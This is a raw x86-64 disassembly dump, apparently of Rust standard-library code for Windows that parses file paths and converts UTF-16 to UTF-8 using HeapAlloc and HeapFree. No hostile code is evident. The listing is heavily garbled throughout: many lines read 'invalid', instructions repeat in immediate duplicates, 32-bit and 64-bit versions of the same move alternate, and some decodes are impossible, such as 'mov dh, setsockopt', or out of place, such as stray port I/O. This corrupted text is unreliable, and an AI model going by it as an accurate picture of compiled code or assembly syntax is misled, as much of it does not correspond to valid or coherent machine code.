movabs al, byte [0x4801428d4c000000]
test edx, edx
cmove r8, rdx
add rcx, r8
add rcx, 2
jmp 0x140131720
mov rcx, qword [rbp + 0x90]
mov rdx, qword [rbp + 0xa0]
movabs al, byte [0x4801428d4c000000]
test edx, edx
movabs al, byte [0x4801428d4c000000]
test edx, edx
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
cmove r8, rdx
add rcx, r8
add ecx, eax
add rcx, 8
jmp 0x140131720
mov ecx, 6
jmp 0x140131720
mov ecx, 2
mov edx, ebx
movzx eax, al
movzx edx, dl
add rdx, rax
add rdx, rcx
cmp r14, rdx
jbe 0x1401319ab
test sil, sil
sete cl
setne al
cmp r15b, 6
sete byte [rbp + 0x14e]
setne r12b
mov r8, qword [rbp + 0xa0]
lea rdx, [r8 + 1]
test r8, r8
cmove rdx, r8
cmp sil, 2
jae case.0x140130eaa.51
and r12b, cl
mov rcx, qword [rbp + 0x90]
lea rsi, [rcx + 4]
lea r8, [rcx + rdx]
add r8, 2
add rcx, rdx
add rcx, 8
mov qword [rbp + 0x60], rcx
movzx edi, bl
cmp r15b, 5
jb 0x1401318ed
test bl, bl
jne 0x1401318ed
or byte [rbp + 0x14e], al
movzx eax, r15b
mov qword [rbp + 8], rax
lea rbx, [0x14020b6d0]
mov qword [rbp + 0x68], r8
jmp 0x1401317d0
xor ecx, ecx
movzx eax, al
add rcx, rdi
add rcx, rax
ror dword [rcx + 0x39], 0xce
ror dword [rcx + 0x39], 0xce
jbe 0x1401319ab
xchg bl, bl
add dword [rax], eax
add byte [rbp - 0x77], cl
test dword [rax - 0x73], 0xb08d
add byte [rax - 0x73], cl
lea edx, [rbp + 0x70]
invalid
mov r15, r14
lea rcx, [rbp + 0xb0]
lea rdx, [rbp + 0x70]
lea edx, [rbp + 0x70]
lea edx, [rbp + 0x70]
call fcn.1401328d0
cmp byte [rbp + 0xb8], 0xa
jne 0x1401319a8
invalid
add dword [rax], eax
invalid
mov eax, 0x4d000001
mov esi, edi
mov r14, r15
sub r14, qword [rbp + 0xb0]
jb 0x140131b2a
invalid
mov ch, 0xb0
add byte [rax], al
add byte [rdi], cl
invalid
add byte [rcx + rcx*4 + 0x75], cl
js 0x140131785
mov qword [rbp + 0x78], r14
cmp byte [rbp + 0x14e], 0
je 0x140131811
xor ecx, ecx
jmp 0x140131820
mov ecx, 2
cmp r14, 2
add byte [rax], al
add byte [rcx - 0x7d], cl
inc byte [rdx]
jb 0x140131b3e
invalid
cmp rcx, r14
jne 0x140131829
invalid
add al, 0x31
shr bl, 0x39
xor eax, eax
jmp 0x140131862
lea rax, [r14 + r13]
lea rdx, [rcx + r13]
inc rdx
cmp rdx, rax
sete al
movzx ecx, byte [r13 + rcx]
test al, 1
jne 0x14013185a
cmp cl, 0x2e
jne 0x14013185a
movzx eax, byte [rdx]
cmp al, 0x5c
add bh, byte [rsp + rbx*2]
sete cl
cmp al, 0x2f
sete al
or al, cl
jmp 0x140131862
cmp cl, 0x2e
sete cl
sete cl
and al, cl
test r12b, r12b
test ah, ah
je case.default.0x140131879
mov rcx, qword [rbp + 8]
mov rdx, rbx
movsxd rcx, dword [rbx + rcx*4]
or al, 0x8b
or al, 0x8b
add rcx, rbx
jmp rcx
mov rcx, rsi
int1
jmp 0x1401317be
mov rcx, qword [rbp + 0x68]
jmp 0x1401317be
mov rcx, qword [rbp + 0x60]
jmp 0x1401317be
mov ecx, 6
jmp 0x1401317be
invalid
invalid
invalid
add byte [rax], al
add cl, ch
invalid
invalid
mov ecx, 2
add byte [rax], al
jmp 0x1401317be
lea r15, [rbp + 0xb0]
lea r12, [rbp + 0x70]
mov rcx, r15
mov rdx, r12
call fcn.1401328d0
adc dword [rax], edx
add byte [rax], al
adc dword [rax], edx
add byte [rax], al
cmp byte [rbp + 0xb8], 0xa
jne 0x1401319ab
mov rcx, r14
sub rcx, qword [rbp + 0xb0]
add byte [rax], al
add byte [rdi], cl
invalid
add byte [rax], al
jb 0x140131b25
add byte [rax], al
mov qword [rbp + 0x78], rcx
mov r14, rcx
mov esi, ecx
mov esi, ecx
jne 0x1401318b4
xor r14d, r14d
jmp 0x1401319ab
add byte [rax], al
add byte [rax], al
test r12b, r12b
je 0x140131968
movzx r12d, r15b
lea rbx, [0x14020b6e8]
mov qword [rbp + 0x68], r8
jmp 0x140131913
mov rax, qword [rbp + 0x68]
add rax, rdi
cmp r14, rax
jbe 0x1401319ab
invalid
invalid
add byte [rbp - 0x77], cl
test dword [rax - 0x73], 0xb08d
mov al, 0
add byte [rax], al
invalid
invalid
mov r15, r14
lea rcx, [rbp + 0xb0]
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
lea rdx, [rbp + 0x70]
call fcn.1401328d0
add byte [rax], al
push rbp
jo 0x14013190a
stosb byte [rdi], al
sldt word [rax]
add byte [rax], al
add byte [rax], al
cmp byte [rbp + 0xb8], 0xa
jne 0x1401319a8
add byte [rax], al
or dh, byte [rbp + 0x79]
mov r14, r15
sub r14, qword [rbp + 0xb0]
add byte [rax], al
dec byte [rbx + rbp - 0x4b]
mov al, 0
add byte [rax], al
jb 0x140131b2a
add dword [rax], eax
add byte [rcx + rcx*4 + 0x75], cl
mov qword [rbp + 0x78], r14
mov rcx, rbx
js 0x14013198c
mov ecx, ebx
movsxd rax, dword [rbx + r12*4]
add rax, rbx
jmp rax
movabs dword [0xf08948e0ffd80148], eax
mov rax, rsi
jmp case.0x140131419.18
mov rax, qword [rbp + 0x60]
jmp case.0x140131419.18
mov eax, 6
jmp case.0x140131419.18
mov eax, 2
jmp case.0x140131419.18
lea rsi, [rbp + 0xb0]
lea r12, [rbp + 0x70]
mov r15, r14
mov rcx, rsi
mov rdx, r12
call fcn.1401328d0
cmp byte [rbp + 0xb8], 0xa
mov ebp, 0xb8
or dh, byte [rbp + 0x1e]
mov ebp, 0xb8
or dh, byte [rbp + 0x1e]
mov r14, r15
sub r14, qword [rbp + 0xb0]
dec byte [rbx + rbp - 0x4b]
mov al, 0
add byte [rax], al
jb 0x140131b2a
mov qword [rbp + 0x78], r14
mov r15, r14
cmp r14, rdi
ja 0x140131976
jmp 0x1401319ab
mov r14, r15
test r13, r13
je case.default.0x140131419
lea rcx, [rbp + 0xb0]
lea esi, [rax + 0x4c000000]
mov edx, ebp
mov rdx, r13
mov r8, r14
call fcn.14005a400
cmp qword [rbp + 0xb0], 0
jne case.default.0x140131419
mov rax, qword [rbp + 0xb8]
mov rcx, qword [rbp + 0xc0]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rcx
mov dword [rbp - 0x30], ecx
mov dword [rbp - 0x30], ecx
lea rax, [0x1401dbfa8]
mov qword [rbp + 0x70], rax
lea rax, [fcn.14005e600]
mov qword [rbp + 0x78], rax
mov dword [rbp + 0x78], eax
mov dword [rbp + 0x78], eax
lea rax, [rbp - 0x38]
mov qword [rbp + 0x80], rax
lea rax, [0x1401304d0]
lea eax, [0x1401304d0]
lea eax, [0x1401304d0]
mov qword [rbp + 0x88], rax
mov dword [rbp + 0x88], eax
lea rax, [0x1401dbf88]
add eax, 0xaa568
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], 2
test dword [rax + 0x2000000], edi
add byte [rax], al
add byte [rax], al
test dword [rax + 0x48000000], esi
mov dword [rbp + 0xb8], 2
test dword [rax + 0x2000000], edi
add byte [rax], al
add byte [rax], al
test dword [rax + 0x2000000], edi
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0xd0], 0
lea rax, [rbp + 0x70]
invalid
add byte [rax], al
mov qword [rbp + 0xd0], 0
rol byte [rax], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rbp + 0x70]
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], 2
mov rax, qword [rbp + 0x128]
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp + 0xb0]
call fcn.140059e20
xor edx, 0xffffffff
mov r13d, eax
cmp byte [rbp + 0x14f], 2
add byte [rdx], al
je 0x14013111f
cmp qword [rbp + 0x130], 0
je 0x14013111f
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp + 0x140]
jmp case.0x140130eaa.18
lea r8, str.library_std_srcpath.rs
mov rdx, r14
call fcn.140160e60
jmp 0x140131b5e
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r15
mov rdx, qword [rbp + 0x138]
call fcn.140160f40
jmp 0x140131b5e
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rdx, r15
call fcn.140161190
jmp 0x140131b5e
lea r8, str.library_std_srcpath.rs
mov rdx, r14
call fcn.140160e60
jmp 0x140131b5e
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
call fcn.140160e60
jmp 0x140131b5e
lea r8, str.library_std_srcpath.rs
mov rdx, r14
call fcn.140160e60
jmp 0x140131b5e
mov r15, r14
jmp 0x140131b2d
mov rcx, r14
lea r8, str.library_std_srcpath.rs
mov rdx, r15
call fcn.140160f40
jmp 0x140131b5e
lea r8, str.library_std_srcpath.rs
mov rdx, r14
call fcn.140160e60
jmp 0x140131b5e
ud2
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax - 0x73], cl
call fcn.140132020
add byte [rax - 0x73], cl
call fcn.140132020
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 0x18], rax
call qword [rax]
mov rax, qword [rbp - 0x18]
dec dword [rax - 0x75]
invalid
cmp qword [rax + 8], 0
je 0x140131c3e
cmp qword [rax + 0x10], 0x11
jae 0x140131c27
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
jmp 0x140131c2f
jns 0x140131c0d
add byte [rax + rbx + 0x4c], dh
mov eax, dword [rcx]
invalid
mov rcx, qword [0x140215360]
or eax, 0xe374e
xor edx, edx
add rsp, 0x40
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x40
pop rbp
ret
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp - 0x20]
add rsp, 0x40
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
in al, dx
and byte [rax - 0x73], cl
push 0x40
mov rax, qword [rbp - 0x18]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
call fcn.14012dad0
mov rcx, qword [rbp - 0x20]
call fcn.14013a670
nop
add rsp, 0x20
pop rbp
ret
mov rsi, rcx
test r8, r8
je 0x140131d1b
js 0x140131fd6
add eax, 0xf000003
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
mov dh, 5
and byte [rdi], dh
invalid
test rcx, rcx
jne 0x140131cf9
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
test eax, eax
je 0x140131d0c
mov rcx, rax
mov qword [0x140215360], rax
invalid
add byte [rcx], dh
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x36334
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
test rax, rax
jne 0x140131d21
mov ecx, 1
mov rdx, rbx
call fcn.14015d7f0
add byte [rdi], cl
invalid
add byte [rdi], cl
or eax, dword [rcx - 0x44]
add dword [rax], eax
add byte [rax], al
mov r12d, 1
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], 0
mov byte [rbp - 0x10], 1
lea rsi, [rdi + rbx*2]
xor r15d, r15d
xor ebx, ebx
test bx, bx
jne 0x140131d76
jmp 0x140131d80
mov r15, qword [rbp - 0x18]
mov r12, qword [rbp - 0x28]
lea rcx, [r12 + r15]
lea rdx, [rbp - 4]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add r15, r13
mov qword [rbp - 0x18], r15
xor ebx, ebx
test bx, bx
je 0x140131d80
movzx eax, word [rbp - 6]
mov r14d, eax
jmp 0x140131d91
cmp rdi, rsi
je 0x140131fb2
movzx r14d, word [rdi]
add rdi, 2
lea eax, [r14 + 0x2000]
movzx eax, ax
movzx r13d, r14w
cmp eax, 0xf800
jae 0x140131db0
shl r13, 0x10
shl ebp, 0x10
jmp case.0x1400693d1.2973
cmp r13d, 0xdbff
ja 0x140131f34
cmp rdi, rsi
je 0x140131f38
movzx eax, word [rdi]
add rdi, 2
mov ecx, eax
add ecx, 0x2000
movzx ecx, cx
cmp ecx, 0xfc00
jb 0x140131f3f
movzx r13d, ax
and r14d, 0x3ff
add byte [rax], al
and r13d, 0x3ff
shl r14, 0x1a
out 0x1a, al
shl r13, 0x10
or r13, r14
movabs rax, 0x100000000
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add r13, rax
mov rax, r13
shr rax, 0x10
mov dword [rbp - 4], 0
add byte [rax], al
add byte [0x140131ea1], bh
jae 0x140131e50
mov byte [rbp - 4], al
mov r13d, 1
mov rax, qword [rbp - 0x20]
sub rax, r15
cmp rax, r13
jae 0x140131d54
jmp 0x140131f20
cmp eax, 0x800
jae 0x140131e90
shr r13d, 0x16
or r13b, 0xc0
mov byte [rbp - 4], r13b
and al, 0x3f
or al, 0x80
mov byte [rbp - 3], al
mov r13d, 2
mov rax, qword [rbp - 0x20]
sub rax, r15
cmp rax, r13
jae 0x140131d54
jmp 0x140131f20
mov rcx, r13
mov ecx, ebp
cmp eax, 0xffff
ja 0x140131ed3
shr rcx, 0x1c
or cl, 0xe0
mov byte [rbp - 4], cl
shr r13d, 0x16
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp - 3], r13b
std
std
and al, 0x3f
or al, 0x80
mov byte [rbp - 2], al
mov r13d, 3
add eax, dword [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
mov rax, qword [rbp - 0x20]
sub rax, r15
cmp rax, r13
jae 0x140131d54
jmp 0x140131f20
shr rcx, 0x22
or cl, 0xf0
mov byte [rbp - 4], cl
mov rcx, r13
shr rcx, 0x1c
and cl, 0x3f
or cl, 0x80
leave
or byte [rax - 0x3ebe02b3], 0xed
invalid
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp - 2], r13b
invalid
and al, 0x3f
or al, 0x80
mov byte [rbp - 1], al
inc dword [rcx - 0x43]
add al, 0
add byte [rax], al
leave
or byte [rax - 0x3ebe02b3], 0xed
invalid
invalid
inc dword [rcx - 0x43]
add al, 0
add byte [rax], al
mov rax, qword [rbp - 0x20]
sub rax, r15
cmp rax, r13
jae 0x140131d54
invalid
invalid
invalid
nop word [rax + rax]
add byte [rax - 0x73], cl
fmul dword [r9 + rcx*4 - 6]
cli
lea rcx, [rbp - 0x28]
mov rdx, r15
cli
cli
mov r8, r13
call fcn.140166600
add eax, dword [rax]
add eax, dword [rax]
jmp 0x140131d50
invalid
xor ebx, ebx
jmp 0x140131f47
fucomi st(3)
rdtsc
xor ebx, ebx
mov rdi, rsi
fisttp dword [rax - 0x77]
imul ebx
jmp 0x140131f47
invalid
invalid
jmp 0x140131f47
mov bx, 1
add dword [rax], eax
mov word [rbp - 6], ax
cli
mov byte [rbp - 0x10], 0
mov rax, qword [rbp - 0x20]
loopne 0x140131f9c
sub eax, edi
lock add byte [rax - 0x75], cl
loopne 0x140131f9c
sub eax, edi
clc
cmp rax, 2
ja 0x140131f72
add dh, byte [rdi + 0x1a]
mov r8d, 3
mov eax, 3
add byte [rax - 0x73], cl
fmul dword [r9 + rcx*4 - 6]
fmul dword [rcx + rcx*4 - 6]
lea rcx, [rbp - 0x28]
fmul dword [rcx + rcx*4 - 6]
mov rdx, r15
call fcn.140166600
mov r12, qword [rbp - 0x28]
fmul dword [rbx + rcx*4 + 0x7d]
invalid
add byte [rbx + rcx*4 + 0x65], cl
fmul dword [rbx + rcx*4 + 0x7d]
call 0x101fba8ba
call 0x181f32b87
loopne 0x140131fbc
mov eax, r13d
shr eax, 0xc
or al, 0xe0
loopne 0x140131fbc
shr ebp, 6
loopne 0x140131fbc
shr ebp, 6
invalid
and r13b, 0x3f
or r13b, 0x80
add byte [rcx - 0x80], 0xe6
invalid
or r14b, 0x80
add byte [rbx - 0x78], 4
cmp al, 0x47
mov byte [rsp + rdi + 1], ch
insb byte [rdi], dx
cmp al, 1
invalid
add byte [rcx - 0x80], 0xe6
invalid
add byte [rbx - 0x78], 4
cmp al, 0x47
mov byte [rsp + rdi + 1], ch
insb byte [rdi], dx
cmp al, 1
cmp al, 1
mov byte [r12 + r15 + 2], r14b
je 0x140131fd7
add cl, byte [rcx - 0x7d]
mov dword [rbx], 0xe87d894c
mov dword [rbp - 0x18], edi
add r15, 3
add edi, 3
mov qword [rbp - 0x18], r15
mov dword [rbp - 0x18], edi
test bx, bx
test ebx, ebx
jne 0x140131d76
leave
std
invalid
jmp 0x140131d80
movups xmm0, xmmword [rbp - 0x28]
movups xmm1, xmmword [rbp - 0x18]
mov rax, qword [rbp - 0x30]
movups xmmword [rax + 0x10], xmm1
ror byte [r15], 1
adc dword [rax + 0x10], ecx
movups xmmword [rax], xmm0
add rsp, 0x58
pop rax
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.1400138d0
ud2
cmc
sbb dh, ch
dec dword [rdi]
or ecx, dword [rdi]
invalid
or ecx, dword [rbp + rcx*4 + 5]
push rcx
cmpsb byte [rsi], byte [rdi]
or al, byte [rax]
mov ecx, 4
mov rdx, rax
call fcn.140160e60
ud2
int3
int3
in eax, dx
ja 0x1401327a2
add byte [rax], al
mov rsi, qword [rdi]
mov r11, qword [rdi + 8]
movzx r8d, byte [rdi + 0x10]
xor eax, eax
cmp r8, 3
add ecx, dword [rdi]
xchg ebx, eax
rol byte [rbp + rcx*4 + 0x74], 0x40
lea esi, [rax + rax*2 + 7]
add ecx, dword [rdi]
xchg ebx, eax
rol byte [rbp + rcx*4 + 0x74], 0x40
lea esi, [rax + rax*2 + 7]
lea esi, [rax + rax*2 + 7]
movzx r15d, byte [rdi + 0x3a]
mov rax, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x30]
lea r9, [rdx + 1]
add qword [rax - 0x7b], rcx
invalid
add qword [rax - 0x7b], rcx
ror byte [rdi + rcx + 0x44], cl
cmove r9, rdx
invalid
invalid
cmove r9, rdx
lea rdx, [rax + r9 + 2]
mov qword [rsp + 0x30], rdx
lea rdx, [rax + r9]
adc al, 8
add rdx, 8
add edx, 8
mov qword [rsp + 0x28], rdx
push rsp
and al, 0x28
add rax, 4
lea r12, [0x14020b700]
mov rdx, r11
jmp 0x1401325b6
mov r9, qword [rsp + 0x30]
test r9, r9
leave
jne case.0x140132644.2
mov byte [rdi + 0x38], 1
mov r13b, 1
mov r10, rsi
mov rsi, r10
cmp r13b, bpl
in eax, dx
in eax, dx
ja 0x1401327a2
test r13b, r13b
test ch, ch
je 0x140132630
movzx r9d, r13b
cmp r9d, 1
jne 0x140132660
mov byte [rdi + 0x38], 2
cmp byte [rdx], al
test r15b, r15b
jne case.0x140131879.18
mov r13b, 2
cmp r8d, 3
jb case.0x14005f6a2.3210
cmp r8d, 5
je case.0x14005f6a2.3210
cmp r8d, 6
jne 0x1401327dc
clc
invalid
test rdx, rdx
je case.0x1401311f5.38
add dword [rdi], ecx
test byte [rsi + 1], cl
add byte [rax], al
cmp r9b, 0x2e
jne case.0x1401311f5.39
movzx r9d, byte [rsi + 1]
cmp r9d, 0x2f
stc
invalid
je case.0x14005f6a2.3254
stc
invalid
cmp r9d, 0x5c
jne case.0x14005f6a2.3210
jmp case.0x14005f6a2.3254
add byte [rcx - 0x80], al
clc
invalid
cmp r8b, 6
je case.default.0x140132644
movsxd r10, dword [r12 + r8*4]
add r10, r12
mov r9, rax
jmp r10
mov r9, qword [rsp + 0x28]
jmp case.0x140132644.0
invalid
invalid
invalid
invalid
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
test rdx, rdx
je case.0x14013194d.8
xor r9d, r9d
xor ecx, ecx
cmp r8b, 3
jae 0x1401326a0
invalid
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rdx - 0x80], al
cmp al, 0xe
pop rsp
cmp byte [rsi + r9], 0x5c
je 0x1401326e5
pop rsi
inc r9
cmp rdx, r9
jne 0x140132680
jmp 0x1401326b9
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rsi + 0xf], al
movzx r10d, byte [rsi + r9]
cmp r10d, 0x2f
mov dh, setsockopt
invalid
je 0x1401326e5
cmp r10d, 0x5c
je 0x1401326e5
invalid
xor al, 0x49
inc ecx
inc r9
cmp rdx, r9
jne 0x1401326a0
xor r10d, r10d
mov r9, rdx
ror dword [rbp - 0x7b], 1
leave
ror dword [rbp - 0x7b], 1
leave
jne 0x1401326f0
mov r11, rdx
mov ebx, edx
sub r11, r10
jb 0x14013286b
wait
add dword [rax], eax
invalid
wait
add dword [rax], eax
add byte [rcx + 1], cl
mov qword [rdi], r10
mov qword [rdi], r10
add r10, rsi
mov qword [rdi], r10
mov qword [rdi + 8], r11
mov r13b, 2
mov rdx, r11
jmp 0x1401325aa
invalid
invalid
invalid
invalid
invalid
invalid
mov r10d, 1
mov edx, 1
add byte [rax], al
add byte [rbp - 0x7b], cl
leave
test r9, r9
je 0x1401326c4
invalid
mov r11, rsi
mov ebx, r14d
cmp r9, 1
je case.0x140130eaa.63
add dword [rbx + rdx - 0x4d], esi
or dword [rcx - 0x7d], ecx
stc
add dh, byte [rbp + 0x1c]
cmp byte [rsi], 0x2e
jne case.0x14005f6a2.3243
invalid
invalid
pop rsi
add dword [rbx + 0x3b804108], esi
invalid
invalid
invalid
cmp byte [r11], 0x2e
movzx ebx, bl
movzx ebx, bl
mov r11d, 9
mov ebx, 9
add byte [rax], al
add byte [rcx + 0xf], al
cmovne ebx, r11d
fisttp dword [r13 + 1]
retf 0x8949
add r10, r9
mov r11, rdx
ror dword [rbp + 0x29], cl
invalid
ror dword [rbp + 0x29], cl
ror dword [rdi], cl
invalid
sub ebx, edx
jb 0x14013286b
add dword [rax], eax
add byte [rcx + 1], cl
add r10, rsi
mov qword [rdi], r10
mov qword [rdi], r10
mov qword [rdi + 8], r11
mov r13b, 2
mov ch, 2
or byte [rcx - 0x4b], al
add cl, byte [rcx + rcx*4 - 0x26]
mov rdx, r11
mov rdx, r11
cmp bl, 0xa
je 0x1401325aa
test byte [rdx - 2], ah
invalid
invalid
sti
or cl, byte [rdi]
test byte [rdx - 2], ah
invalid
invalid
jmp 0x1401327d0
add byte [rax], al
add byte [rcx], dh
xor edx, edx
invalid
push rbx
jmp case.0x14005f6a2.3210
invalid
dec dword [rax - 0x7d]
cmp rdx, 1
cli
add dword [rdi], ecx
invalid
test dword [rcx - 2], ecx
jne case.0x14005f6a2.3210
invalid
inc dword [rcx - 0x80]
stc
jne case.0x14005f6a2.3210
test dword [rdi], edi
invalid
invalid
invalid
cmp r9b, 0x2e
jne case.0x14005f6a2.3210
test dword [rdi], edi
invalid
invalid
invalid
invalid
test r11, r11
test ebx, ebx
je 0x1401328b9
add dword [rax], eax
add byte [rcx - 1], cl
retf
dec r11
inc rsi
mov qword [rdi], rsi
mov dword [rdi], esi
invalid
mov dword [rdi], esi
mov qword [rdi + 8], r11
mov byte [rcx], 7
add dword [rdi], eax
add dword [rdi], eax
jmp 0x1401327a5
test r11, r11
je 0x14013287c
test al, dh
add byte [rax], al
lock add byte [rax], al
add byte [rcx - 1], cl
dec r11
inc rsi
inc esi
retf
inc esi
mov qword [rdi], rsi
mov qword [rdi + 8], r11
pop rdi
or dh, al
mov byte [rcx], 6
mov byte [rcx], 6
jmp 0x1401327a5
mov byte [rdi + 0x38], 3
cmp byte [r11], r8b
cmp byte [rbx], al
add eax, esi
add dword [rdx], ecx
mov byte [rcx], 0xa
add rsp, 0x38
add esp, 0x38
cmp byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
ret
mov byte [rdi + 0x38], 1
cmp byte [r9], r8b
add dword [rax - 0x73], ecx
adc eax, 0xd8f57
invalid
invalid
invalid
lea rdx, [0x14020b718]
invalid
movsxd r9, dword [rdx + r8*4]
add r9, rdx
jmp r9
mov ecx, eax
jmp case.0x1400693d1.3045
mov byte [rcx], bl
mov qword [rcx + 8], rsi
sbb dword [rax - 0x77], ecx
jno 0x1401327de
mov qword [rcx + 0x10], r9
jmp 0x1401327a5
adc bl, ch
leave
mov byte [rcx], 6
jmp 0x1401327a5
invalid
sub bl, ch
adc eax, 0x6b941
add byte [rax], al
jmp case.0x1400693d1.3045
cmp r9, r11
ja case.default.0x140132814
lea rdx, [0x14020b730]
movsxd r10, dword [rdx + r8*4]
add r10, rdx
jmp r10
jmp case.0x140132814.0
jmp case.0x140132814.0
mov rdx, r11
sub rdx, rax
jb 0x1401328a5
insb byte [rdi], dx
insb byte [rdi], dx
add rax, rsi
mov qword [rdi], rax
mov qword [rdi + 8], rdx
mov rax, qword [rdi + 0x30]
xor byte [rax - 0x77], cl
and byte [r15], cl
adc byte [rdi + 0x11], al
invalid
invalid
xor byte [rax - 0x77], cl
and byte [r15], cl
adc byte [rdi + 0x11], al
invalid
invalid
adc dword [r15], r9d
movups xmm1, xmmword [rdi + 0x21]
adc byte [rdi + 0x21], cl
movups xmmword [rcx + 0x11], xmm1
adc dword [rcx + 0x11], ecx
movups xmmword [rcx + 1], xmm0
mov byte [rcx], r8b
mov qword [rcx + 0x28], rsi
mov qword [rcx + 0x30], r9
jmp 0x1401327a5
invalid
invalid
invalid
lea r8, str.library_std_srcpath.rs
or al, byte [rax]
mov rcx, r10
call fcn.140160e60
in eax, 2
add byte [rdi], cl
invalid
in eax, 2
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
invalid
invalid
lea r8, str.library_std_srcpath.rs
add eax, 0xa92c5
mov ecx, 1
xor edx, edx
call fcn.140160e60
in eax, 2
invalid
add byte [rax], al
add byte [rcx], dh
shr al, cl
shl ebp, 1
in eax, 2
invalid
in eax, 2
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
lea r8, str.library_std_srcpath.rs
mov rcx, r9
ud2
lea r8, str.library_std_srcpath.rs
add eax, 0xa9268
mov rcx, r9
leave
mov rdx, r11
call fcn.140160f40
add al, byte [rax]
add al, byte [rax]
ud2
lea r8, str.library_std_srcpath.rs
insb byte [rdi], dx
xchg edx, eax
or al, byte [rax]
mov rcx, rax
mov rdx, r11
call fcn.140160e60
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
jo 0x140132850
xchg edx, eax
lea r8, str.library_std_srcpath.rs
xchg edx, eax
or al, byte [rax]
mov ecx, 1
xor edx, edx
call fcn.140160e60
add byte [rdi], cl
invalid
add byte [rcx], dh
shr al, cl
xchg esp, eax
in eax, 2
add byte [rdi], cl
or ecx, esp
int3
push rbx
sub rsp, 0x20
and byte [rax - 0x77], cl
xlatb
xlatb
mov rsi, rcx
mov rcx, rdx
call fcn.140132a00
mov rdx, qword [rdi + 8]
push rdi
or byte [rax + 0x39], cl
ror byte [rdi], 1
xchg edi, esp
out 0, eax
add byte [rax], al
push rdi
or byte [rax + 0x39], cl
ror byte [rdi], 1
xchg edi, esp
out 0, eax
add byte [rax], al
mov r10, qword [rdi]
out 0, eax
add byte [rax], al
mov r10, qword [rdi]
lea rcx, [r10 + rax]
mov r11, rax
sub r11, rdx
jne 0x14013290b
invalid
movzx r8d, byte [rdi + 0x10]
xor r9d, r9d
xor ecx, ecx
mov dh, 0x47
adc byte [rbp + 0x31], al
invalid
leave
jmp case.0x1400693d1.3076
jp 0x140132950
movzx r8d, byte [rdi + 0x10]
movzx eax, byte [rdi + 0x10]
inc r11
inc ebx
lea rdi, [rdx + r10]
dec rdi
dec edi
xor r9d, r9d
cmp r8b, 3
jae 0x140132950
clc
add esi, dword [rbx + 0x2d]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax + 0x36745c3f], al
invalid
pop rsp
je 0x14013296b
invalid
cmp byte [rdi], 0x5c
je 0x14013296b
invalid
inc r11
inc r11
dec rdi
cmp r11, 1
jne 0x140132930
jmp case.0x1400693d1.3076
movzx ebx, byte [rdi]
cmp ebx, 0x2f
je 0x14013296b
cmp ebx, 0x5c
je 0x14013296b
inc r11
dec rdi
iretd
cmp r11, 1
jne 0x140132950
jmp case.0x1400693d1.3076
neg r11
add rax, r11
fmul dword [rax - 1]
ror byte [rax + 0x39], 0xd0
ja 0x1401329ea
add r10, rax
mov r9d, 1
add dword [rax], eax
add byte [rax], al
mov rcx, r10
sub rdx, rax
je 0x1401329ae
mov al, 9
cmp rdx, 2
je 0x1401329b2
cmp rdx, 1
jne 0x1401329c0
cmp byte [rcx], 0x2e
jne 0x1401329c0
xor eax, eax
cmp r8b, 3
clc
add ecx, dword [rdi]
xchg ebx, eax
ror byte [rbp - 0x3f7cbffc], 7
add eax, 7
jmp 0x1401329c0
mov al, 0xa
jmp 0x1401329c0
cmp byte [rcx], 0x2e
jne 0x1401329c0
invalid
cmp byte [rcx + 1], 0x2e
sete al
invalid
xor al, 9
invalid
or dword [rcx + 1], ecx
ror dword [rcx + rcx*4 + 0xe], 1
mov dword [rsi], ecx
